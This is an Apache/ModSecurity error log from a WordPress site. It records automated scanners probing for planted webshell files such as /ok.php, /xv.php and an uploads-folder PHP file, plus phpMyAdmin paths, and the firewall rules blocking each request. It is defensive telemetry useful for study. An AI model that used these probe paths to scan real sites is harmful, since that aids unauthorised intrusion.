[Sat Feb 28 22:50:24.144016 2026] [:error] [pid 39183:tid 39214] [client 13.71.191.191:14125] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/mfw-activity-logger/csv-uploads/TitaniumEx.php"] [unique_id "aaMAsBCf4HvhVePw3LarPAAAABY"]
[Sat Feb 28 22:50:24.557668 2026] [:error] [pid 49763:tid 49767] [client 13.71.191.191:14107] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aaMAsLTHSOG_yf2PpqHoEwAAAcE"]
[Sat Feb 28 22:50:24.968992 2026] [:error] [pid 39183:tid 39192] [client 13.71.191.191:14198] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aaMAsBCf4HvhVePw3LarQQAAAAA"]
[Sat Feb 28 22:50:25.404116 2026] [:error] [pid 39183:tid 39199] [client 13.71.191.191:14097] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aaMAsRCf4HvhVePw3LarQwAAAAc"]
[Sat Feb 28 22:50:25.857978 2026] [:error] [pid 39183:tid 39212] [client 13.71.191.191:14054] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ok.php"] [unique_id "aaMAsRCf4HvhVePw3LarSgAAABQ"]
[Sat Feb 28 22:50:26.316765 2026] [:error] [pid 39183:tid 39192] [client 13.71.191.191:14124] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db/phpmyadmin3/index.php"] [unique_id "aaMAshCf4HvhVePw3LarTwAAAAA"]
[Sat Feb 28 22:50:26.768008 2026] [:error] [pid 39183:tid 39193] [client 13.71.191.191:14176] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db/phpmyadmin3/index.php"] [unique_id "aaMAshCf4HvhVePw3LarVQAAAAE"]
[Sat Feb 28 22:50:27.226539 2026] [:error] [pid 39183:tid 39196] [client 13.71.191.191:14208] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db/phpmyadmin3/index.php"] [unique_id "aaMAsxCf4HvhVePw3LarWwAAAAQ"]
[Sat Feb 28 22:50:27.727038 2026] [:error] [pid 39183:tid 39215] [client 13.71.191.191:14205] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db/phpmyadmin3/index.php"] [unique_id "aaMAsxCf4HvhVePw3LarXgAAABc"]
[Sat Feb 28 22:50:28.169247 2026] [:error] [pid 52460:tid 52484] [client 13.71.191.191:13956] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fw.php"] [unique_id "aaMAtLLWOogAgHGh62TMcQAAAZU"]
[Sat Feb 28 22:50:28.611495 2026] [:error] [pid 22194:tid 22201] [client 13.71.191.191:14114] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fw.php"] [unique_id "aaMAtH6mbajs3bzQGyu4DAAAAUU"]
[Sat Feb 28 22:50:29.080787 2026] [:error] [pid 39183:tid 39194] [client 13.71.191.191:14081] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fw.php"] [unique_id "aaMAtRCf4HvhVePw3LarYQAAAAI"]
[Sat Feb 28 22:50:29.520207 2026] [:error] [pid 49763:tid 49772] [client 13.71.191.191:14046] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fw.php"] [unique_id "aaMAtbTHSOG_yf2PpqHoHgAAAcY"]
[Sat Feb 28 22:50:29.958604 2026] [:error] [pid 49763:tid 49782] [client 13.71.191.191:14022] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aaMAtbTHSOG_yf2PpqHoIQAAAdA"]
[Sat Feb 28 22:50:30.407434 2026] [:error] [pid 39185:tid 39257] [client 13.71.191.191:14091] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/content.php"] [unique_id "aaMAthVE-FfM89u7BQa2MwAAAIs"]
[Sat Feb 28 23:02:00.519217 2026] [:error] [pid 11791:tid 11804] [client 4.204.192.31:5361] [client 4.204.192.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/cah.php"] [unique_id "aaMDaGuX5e1Q32gqxH3iNQAAAQs"]
[Sat Feb 28 23:02:23.287823 2026] [:error] [pid 52460:tid 52482] [client 4.204.192.31:5367] [client 4.204.192.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aaMDf7LWOogAgHGh62TUigAAAZM"]
[Sat Feb 28 23:02:24.828326 2026] [:error] [pid 39183:tid 39192] [client 4.204.192.31:5323] [client 4.204.192.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aaMDgBCf4HvhVePw3La-3gAAAAA"]
[Sat Feb 28 23:02:26.184303 2026] [:error] [pid 39183:tid 39205] [client 4.204.192.31:5317] [client 4.204.192.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aaMDghCf4HvhVePw3La-7QAAAA0"]
[Sat Feb 28 23:02:26.813522 2026] [:error] [pid 49763:tid 49767] [client 4.204.192.31:5364] [client 4.204.192.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Okxob.php"] [unique_id "aaMDgrTHSOG_yf2PpqH0mQAAAcE"]
[Sat Feb 28 23:02:30.857806 2026] [:error] [pid 39184:tid 39235] [client 4.204.192.31:40898] [client 4.204.192.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeal.php"] [unique_id "aaMDhltZF9Zd_U7easD1aQAAAFA"]
[Sat Feb 28 23:02:33.798664 2026] [:error] [pid 52460:tid 52481] [client 4.204.192.31:5331] [client 4.204.192.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeal.php"] [unique_id "aaMDibLWOogAgHGh62TUswAAAZI"]
[Sat Feb 28 23:02:48.874372 2026] [:error] [pid 39183:tid 39213] [client 4.204.192.31:40913] [client 4.204.192.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php"] [unique_id "aaMDmBCf4HvhVePw3La_1AAAABU"]
[Sat Feb 28 23:02:56.534252 2026] [:error] [pid 49763:tid 49768] [client 4.204.192.31:5370] [client 4.204.192.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php"] [unique_id "aaMDoLTHSOG_yf2PpqH0ygAAAcI"]
[Sat Feb 28 23:02:59.714547 2026] [:error] [pid 11791:tid 11795] [client 4.204.192.31:40929] [client 4.204.192.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php"] [unique_id "aaMDo2uX5e1Q32gqxH3iVgAAAQI"]
[Sat Feb 28 23:03:02.841971 2026] [:error] [pid 11791:tid 11812] [client 4.204.192.31:40915] [client 4.204.192.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa.php"] [unique_id "aaMDpmuX5e1Q32gqxH3iYAAAARM"]
[Sat Feb 28 23:33:34.761473 2026] [:error] [pid 39183:tid 39208] [client 177.158.127.152:53014] [client 177.158.127.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.158.127.152, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaMKzhCf4HvhVePw3LbtiwAAABA"]
[Sat Feb 28 23:56:33.868605 2026] [:error] [pid 49763:tid 49790] [client 170.106.73.216:37534] [client 170.106.73.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaMQMbTHSOG_yf2PpqErDgAAAdg"]
[Sun Mar 01 00:21:47.368825 2026] [autoindex:error] [pid 31190:tid 31218] [client 4.241.228.159:2309] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Mar 01 00:22:03.570290 2026] [:error] [pid 31190:tid 31218] [client 4.241.228.159:2309] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaMWKxfvwGOholYpM1E5oQAAAMw"]
[Sun Mar 01 00:22:03.817032 2026] [:error] [pid 30798:tid 30906] [client 4.241.228.159:2294] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaMWK8BkD73gO8wTonY4FAAAAIc"]
[Sun Mar 01 00:22:04.043466 2026] [:error] [pid 53600:tid 53605] [client 4.241.228.159:2266] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaMWLA2UMRAYWtDB23SZ3AAAAQI"]
[Sun Mar 01 00:22:04.275564 2026] [:error] [pid 53600:tid 53614] [client 4.241.228.159:2300] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aaMWLA2UMRAYWtDB23SZ3wAAAQs"]
[Sun Mar 01 00:22:04.596958 2026] [:error] [pid 53600:tid 53618] [client 4.241.228.159:2320] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aaMWLA2UMRAYWtDB23SZ4QAAAQ8"]
[Sun Mar 01 00:22:04.838767 2026] [:error] [pid 31190:tid 31230] [client 4.241.228.159:2323] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aaMWLBfvwGOholYpM1E5rQAAANg"]
[Sun Mar 01 00:22:05.069210 2026] [:error] [pid 31190:tid 31218] [client 4.241.228.159:2280] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aaMWLRfvwGOholYpM1E5rwAAAMw"]
[Sun Mar 01 00:22:05.297597 2026] [:error] [pid 31190:tid 31211] [client 4.241.228.159:2278] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x56.php"] [unique_id "aaMWLRfvwGOholYpM1E5sAAAAMU"]
[Sun Mar 01 00:22:05.537111 2026] [:error] [pid 31190:tid 31209] [client 4.241.228.159:2273] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaMWLRfvwGOholYpM1E5sgAAAMM"]
[Sun Mar 01 00:22:05.786475 2026] [:error] [pid 53600:tid 53605] [client 4.241.228.159:2310] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaMWLQ2UMRAYWtDB23SZ6gAAAQI"]
[Sun Mar 01 00:22:06.013639 2026] [:error] [pid 53600:tid 53620] [client 4.241.228.159:2269] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaMWLg2UMRAYWtDB23SZ7gAAARE"]
[Sun Mar 01 00:22:06.244354 2026] [:error] [pid 30795:tid 30809] [client 4.241.228.159:2302] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/htaccess.php"] [unique_id "aaMWLmuI44IL94Zgti-iQwAAAAE"]
[Sun Mar 01 00:22:06.471930 2026] [:error] [pid 53600:tid 53610] [client 4.241.228.159:2314] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aaMWLg2UMRAYWtDB23SZ8wAAAQc"]
[Sun Mar 01 00:22:06.737835 2026] [:error] [pid 31190:tid 31223] [client 4.241.228.159:2319] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aaMWLhfvwGOholYpM1E5twAAANE"]
[Sun Mar 01 00:22:06.986177 2026] [:error] [pid 53600:tid 53620] [client 4.241.228.159:2335] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aaMWLg2UMRAYWtDB23SZ-wAAARE"]
[Sun Mar 01 00:22:07.211022 2026] [:error] [pid 31190:tid 31230] [client 4.241.228.159:2303] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/readme.php"] [unique_id "aaMWLxfvwGOholYpM1E5uAAAANg"]
[Sun Mar 01 00:22:07.446754 2026] [:error] [pid 31190:tid 31210] [client 4.241.228.159:2241] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aaMWLxfvwGOholYpM1E5ugAAAMQ"]
[Sun Mar 01 00:22:07.672528 2026] [:error] [pid 30797:tid 30873] [client 4.241.228.159:2265] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aaMWL_QmcmSQL-3rvLD3VgAAAEI"]
[Sun Mar 01 00:22:07.935651 2026] [:error] [pid 30797:tid 30885] [client 4.241.228.159:2244] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aaMWL_QmcmSQL-3rvLD3VwAAAE4"]
[Sun Mar 01 00:22:08.162292 2026] [:error] [pid 30795:tid 30812] [client 4.241.228.159:2274] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x50.php"] [unique_id "aaMWMGuI44IL94Zgti-iSgAAAAQ"]
[Sun Mar 01 00:22:08.399595 2026] [:error] [pid 30797:tid 30891] [client 4.241.228.159:2307] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaMWMPQmcmSQL-3rvLD3WQAAAFQ"]
[Sun Mar 01 00:22:08.628121 2026] [:error] [pid 31190:tid 31215] [client 4.241.228.159:2276] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaMWMBfvwGOholYpM1E5wAAAAMk"]
[Sun Mar 01 00:22:08.879664 2026] [:error] [pid 53600:tid 53614] [client 4.241.228.159:2251] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaMWMA2UMRAYWtDB23SaBQAAAQs"]
[Sun Mar 01 00:22:09.114702 2026] [:error] [pid 31190:tid 31227] [client 4.241.228.159:2254] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fv.php"] [unique_id "aaMWMRfvwGOholYpM1E5wwAAANU"]
[Sun Mar 01 00:22:09.342907 2026] [:error] [pid 53600:tid 53623] [client 4.241.228.159:2304] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaMWMQ2UMRAYWtDB23SaCQAAARQ"]
[Sun Mar 01 00:22:09.583734 2026] [:error] [pid 53600:tid 53627] [client 4.241.228.159:2267] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaMWMQ2UMRAYWtDB23SaCgAAARg"]
[Sun Mar 01 00:22:09.846295 2026] [:error] [pid 53600:tid 53616] [client 4.241.228.159:2330] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aaMWMQ2UMRAYWtDB23SaDAAAAQ0"]
